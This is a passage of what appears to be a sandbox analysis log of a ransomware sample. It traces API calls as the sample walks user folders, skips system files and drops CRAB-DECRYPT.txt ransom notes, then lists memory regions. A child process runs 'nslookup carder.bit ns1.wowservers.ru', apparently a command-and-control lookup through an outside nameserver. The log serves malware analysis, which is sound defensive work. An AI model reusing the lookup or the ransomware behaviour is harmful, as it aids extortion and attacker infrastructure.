	[0137.027] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Public\\Pictures\\CRAB-DECRYPT.txt") returned="C:\\Users\\Public\\Pictures\\CRAB-DECRYPT.txt"
	[0137.027] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.028] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Pictures\\CRAB-DECRYPT.txt") returned 41
	[0137.028] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\CRAB-DECRYPT.txt") returned 41
	[0137.028] lstrlenW (lpString=".txt") returned 4
	[0137.028] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0137.028] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0137.028] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.028] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\CRAB-DECRYPT.txt") returned 41
	[0137.028] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\CRAB-DECRYPT.txt") returned 41
	[0137.028] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0137.028] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0137.028] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0137.028] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0137.028] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0137.028] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0137.028] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0137.028] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0137.028] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0137.028] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.028] FindNextFileW (in: hFindFile=0x32480b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0137.028] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0137.028] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0137.028] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\Public\\Pictures\\desktop.ini") returned="C:\\Users\\Public\\Pictures\\desktop.ini"
	[0137.028] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.029] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Pictures\\desktop.ini") returned 36
	[0137.029] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\desktop.ini") returned 36
	[0137.029] lstrlenW (lpString=".ini") returned 4
	[0137.029] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0137.029] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0137.029] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.029] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\desktop.ini") returned 36
	[0137.029] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\desktop.ini") returned 36
	[0137.029] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0137.029] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.029] FindNextFileW (in: hFindFile=0x32480b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0137.029] FindClose (in: hFindFile=0x32480b0 | out: hFindFile=0x32480b0) returned 1
	[0137.029] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0137.029] lstrcmpW (lpString1="Videos", lpString2=".") returned 1
	[0137.029] lstrcmpW (lpString1="Videos", lpString2="..") returned 1
	[0137.029] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos"
	[0137.029] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\"
	[0137.029] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.030] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0137.030] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0137.030] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0137.030] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0137.030] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.030] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0137.030] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0137.030] lstrcmpiW (lpString1="C:\\Users\\Public\\Videos\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0137.030] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0137.030] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0137.030] lstrcmpiW (lpString1="C:\\Users\\Public\\Videos\\", lpString2="C:\\Users\\Public\\Desktop\\") returned 1
	[0137.030] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.030] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Public\\Videos\\\\CRAB-DECRYPT.txt") returned 40
	[0137.030] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\public\\videos\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0137.030] GetLastError () returned 0x50
	[0137.030] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.031] lstrlenW (lpString="C:\\Users\\Public\\Videos\\") returned 23
	[0137.031] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos\\", lpString2="*" | out: lpString1="C:\\Users\\Public\\Videos\\*") returned="C:\\Users\\Public\\Videos\\*"
	[0137.031] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x32480b0
	[0137.031] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0137.031] FindNextFileW (in: hFindFile=0x32480b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0137.031] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0137.031] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0137.031] FindNextFileW (in: hFindFile=0x32480b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0137.031] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0137.031] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0137.031] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Public\\Videos\\CRAB-DECRYPT.txt") returned="C:\\Users\\Public\\Videos\\CRAB-DECRYPT.txt"
	[0137.031] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.031] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Videos\\CRAB-DECRYPT.txt") returned 39
	[0137.031] lstrlenW (lpString="C:\\Users\\Public\\Videos\\CRAB-DECRYPT.txt") returned 39
	[0137.031] lstrlenW (lpString=".txt") returned 4
	[0137.031] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0137.031] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0137.031] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.032] lstrlenW (lpString="C:\\Users\\Public\\Videos\\CRAB-DECRYPT.txt") returned 39
	[0137.032] lstrlenW (lpString="C:\\Users\\Public\\Videos\\CRAB-DECRYPT.txt") returned 39
	[0137.032] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0137.032] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0137.032] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0137.032] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0137.032] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0137.032] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0137.032] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0137.032] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0137.032] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0137.032] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.032] FindNextFileW (in: hFindFile=0x32480b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0137.032] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0137.032] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0137.032] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\Public\\Videos\\desktop.ini") returned="C:\\Users\\Public\\Videos\\desktop.ini"
	[0137.032] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.032] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Videos\\desktop.ini") returned 34
	[0137.033] lstrlenW (lpString="C:\\Users\\Public\\Videos\\desktop.ini") returned 34
	[0137.033] lstrlenW (lpString=".ini") returned 4
	[0137.033] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0137.033] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0137.033] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.033] lstrlenW (lpString="C:\\Users\\Public\\Videos\\desktop.ini") returned 34
	[0137.033] lstrlenW (lpString="C:\\Users\\Public\\Videos\\desktop.ini") returned 34
	[0137.033] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0137.033] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.033] FindNextFileW (in: hFindFile=0x32480b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0137.033] FindClose (in: hFindFile=0x32480b0 | out: hFindFile=0x32480b0) returned 1
	[0137.033] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 0
	[0137.033] FindClose (in: hFindFile=0x3248f30 | out: hFindFile=0x3248f30) returned 1
	[0137.033] FindNextFileW (in: hFindFile=0xd804e0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0
	[0137.033] FindClose (in: hFindFile=0xd804e0 | out: hFindFile=0xd804e0) returned 1
	[0137.033] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0137.033] lstrcmpW (lpString1="Windows", lpString2=".") returned 1
	[0137.033] lstrcmpW (lpString1="Windows", lpString2="..") returned 1
	[0137.033] lstrcatW (in: lpString1="C:\\", lpString2="Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows"
	[0137.033] lstrcatW (in: lpString1="C:\\Windows", lpString2="\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\"
	[0137.033] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.034] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.034] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 0
	[0137.034] FindClose (in: hFindFile=0xd47e80 | out: hFindFile=0xd47e80) returned 1
	[0137.034] VirtualFree (lpAddress=0x253fc78, dwSize=0x0, dwFreeType=0x8000) returned 0
	[0137.034] RtlExitUserThread (Status=0x0) 

Thread:
	id = 37
	os_tid = 0x93c


Thread:
	id = 44
	os_tid = 0xca4


Thread:
	id = 45
	os_tid = 0xd10


Thread:
	id = 54
	os_tid = 0xcf0


Process:
	id = "6"
	image_name = "nslookup.exe"
	filename = "c:\\windows\\syswow64\\nslookup.exe"
	page_root = "0x81c6000"
	os_pid = "0x950"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0xef8"
	cmd_line = "nslookup carder.bit ns1.wowservers.ru"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7]

Region:
	              id = 1056
	        start_va = 0x1f0000
	          end_va = 0x20ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001f0000"
	        filename = ""

Region:
	              id = 1057
	        start_va = 0x210000
	          end_va = 0x211fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 1058
	        start_va = 0x220000
	          end_va = 0x233fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000220000"
	        filename = ""

Region:
	              id = 1059
	        start_va = 0x240000
	          end_va = 0x243fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000240000"
	        filename = ""

Region:
	              id = 1060
	        start_va = 0x250000
	          end_va = 0x266fff
	     entry_point = 0x250000
	     region_type = mapped_file
	            name = "nslookup.exe"
	        filename = "\\Windows\\SysWOW64\\nslookup.exe" (normalized: "c:\\windows\\syswow64\\nslookup.exe")

Region:
	              id = 1061
	        start_va = 0x270000
	          end_va = 0x426ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000270000"
	        filename = ""

Region:
	              id = 1062
	        start_va = 0x4270000
	          end_va = 0x42affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004270000"
	        filename = ""

Region:
	              id = 1063
	        start_va = 0x42b0000
	          end_va = 0x42effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000042b0000"
	        filename = ""

Region:
	              id = 1064
	        start_va = 0x42f0000
	          end_va = 0x42f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000042f0000"
	        filename = ""

Region:
	              id = 1065
	        start_va = 0x4300000
	          end_va = 0x4301fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004300000"
	        filename = ""

Region:
	              id = 1066
	        start_va = 0x77c40000
	          end_va = 0x77db8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 1067
	        start_va = 0x7e3e0000
	          end_va = 0x7e402fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007e3e0000"
	        filename = ""

Region:
	              id = 1068
	        start_va = 0x7e403000
	          end_va = 0x7e403fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007e403000"
	        filename = ""

Region:
	              id = 1069
	        start_va = 0x7e40a000
	          end_va = 0x7e40cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007e40a000"
	        filename = ""

Region:
	              id = 1070
	        start_va = 0x7e40d000
	          end_va = 0x7e40dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007e40d000"
	        filename = ""

Region:
	              id = 1071
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1072
	        start_va = 0x7fff0000
	          end_va = 0x7dfc03e6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 1073
	        start_va = 0x7dfc03e70000
	          end_va = 0x7ffc03e6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007dfc03e70000"
	        filename = ""

Region:
	              id = 1074
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1075
	        start_va = 0x7ffc04032000
	          end_va = 0x7ffffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ffc04032000"
	        filename = ""

Region:
	              id = 1076
	        start_va = 0x4470000
	          end_va = 0x447ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004470000"
	        filename = ""

Region:
	              id = 1077
	        start_va = 0x59300000
	          end_va = 0x5934efff
	     entry_point = 0x59300000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 1078
	        start_va = 0x59360000
	          end_va = 0x593d2fff
	     entry_point = 0x59360000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 1079
	        start_va = 0x4320000
	          end_va = 0x441ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004320000"
	        filename = ""

Region:
	              id = 1080
	        start_va = 0x59350000
	          end_va = 0x59357fff
	     entry_point = 0x59350000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 1132
	        start_va = 0x1f0000
	          end_va = 0x1fffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001f0000"
	        filename = ""

Region:
	              id = 1133
	        start_va = 0x4480000
	          end_va = 0x453dfff
	     entry_point = 0x4480000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1134
	        start_va = 0x76970000
	          end_va = 0x76ae5fff
	     entry_point = 0x76970000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 1135
	        start_va = 0x77670000
	          end_va = 0x7775ffff
	     entry_point = 0x77670000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 1136
	        start_va = 0x7e2e0000
	          end_va = 0x7e3dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007e2e0000"
	        filename = ""

Region:
	              id = 1137
	        start_va = 0x200000
	          end_va = 0x203fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000200000"
	        filename = ""

Region:
	              id = 1138
	        start_va = 0x4420000
	          end_va = 0x445ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004420000"
	        filename = ""

Region:
	              id = 1139
	        start_va = 0x4540000
	          end_va = 0x457ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004540000"
	        filename = ""

Region:
	              id = 1140
	        start_va = 0x4770000
	          end_va = 0x477ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004770000"
	        filename = ""

Region:
	              id = 1141
	        start_va = 0x74310000
	          end_va = 0x74393fff
	     entry_point = 0x74310000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")

Region:
	              id = 1142
	        start_va = 0x743a0000
	          end_va = 0x743edfff
	     entry_point = 0x743a0000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")

Region:
	              id = 1143
	        start_va = 0x74ce0000
	          end_va = 0x74d38fff
	     entry_point = 0x74ce0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")

Region:
	              id = 1144
	        start_va = 0x74d40000
	          end_va = 0x74d49fff
	     entry_point = 0x74d40000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 1145
	        start_va = 0x74d50000
	          end_va = 0x74d6dfff
	     entry_point = 0x74d50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 1146
	        start_va = 0x77250000
	          end_va = 0x77292fff
	     entry_point = 0x77250000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 1147
	        start_va = 0x77930000
	          end_va = 0x7798bfff
	     entry_point = 0x77930000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")

Region:
	              id = 1148
	        start_va = 0x77a10000
	          end_va = 0x77acdfff
	     entry_point = 0x77a10000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 1149
	        start_va = 0x77ad0000
	          end_va = 0x77ad6fff
	     entry_point = 0x77ad0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")

Region:
	              id = 1150
	        start_va = 0x77af0000
	          end_va = 0x77b9bfff
	     entry_point = 0x77af0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 1151
	        start_va = 0x7e407000
	          end_va = 0x7e409fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007e407000"
	        filename = ""

Region:
	              id = 1152
	        start_va = 0x73f20000
	          end_va = 0x73f31fff
	     entry_point = 0x73f20000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll")

Region:
	              id = 1153
	        start_va = 0x73f00000
	          end_va = 0x73f15fff
	     entry_point = 0x73f00000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll")

Region:
	              id = 1154
	        start_va = 0x73ee0000
	          end_va = 0x73ef2fff
	     entry_point = 0x73ee0000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll")

Region:
	              id = 1155
	        start_va = 0x74d70000
	          end_va = 0x74eaffff
	     entry_point = 0x74d70000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 1156
	        start_va = 0x76ca0000
	          end_va = 0x76decfff
	     entry_point = 0x76ca0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 1157
	        start_va = 0x4580000
	          end_va = 0x4707fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004580000"
	        filename = ""

Region:
	              id = 1158
	        start_va = 0x4710000
	          end_va = 0x4739fff
	     entry_point = 0x4710000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 1159
	        start_va = 0x775e0000
	          end_va = 0x7760afff
	     entry_point = 0x775e0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 1160
	        start_va = 0x76f70000
	          end_va = 0x7708ffff
	     entry_point = 0x76f70000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 1161
	        start_va = 0x210000
	          end_va = 0x214fff
	     entry_point = 0x210000
	     region_type = mapped_file
	            name = "nslookup.exe.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\nslookup.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\nslookup.exe.mui")

Region:
	              id = 1162
	        start_va = 0x4780000
	          end_va = 0x4900fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004780000"
	        filename = ""

Region:
	              id = 1163
	        start_va = 0x4910000
	          end_va = 0x5d0ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004910000"
	        filename = ""

Region:
	              id = 1164
	        start_va = 0x4310000
	          end_va = 0x4310fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004310000"
	        filename = ""

Region:
	              id = 1165
	        start_va = 0x4460000
	          end_va = 0x4460fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004460000"
	        filename = ""

Region:
	              id = 1166
	        start_va = 0x73ed0000
	          end_va = 0x73edafff
	     entry_point = 0x73ed0000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll")

Region:
	              id = 1167
	        start_va = 0x741a0000
	          end_va = 0x741a7fff
	     entry_point = 0x741a0000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll")

Region:
	              id = 1168
	        start_va = 0x744b0000
	          end_va = 0x744dffff
	     entry_point = 0x744b0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")

Region:
	              id = 1169
	        start_va = 0x744a0000
	          end_va = 0x744a7fff
	     entry_point = 0x744a0000
	     region_type = mapped_file
	            name = "winnsi.dll"
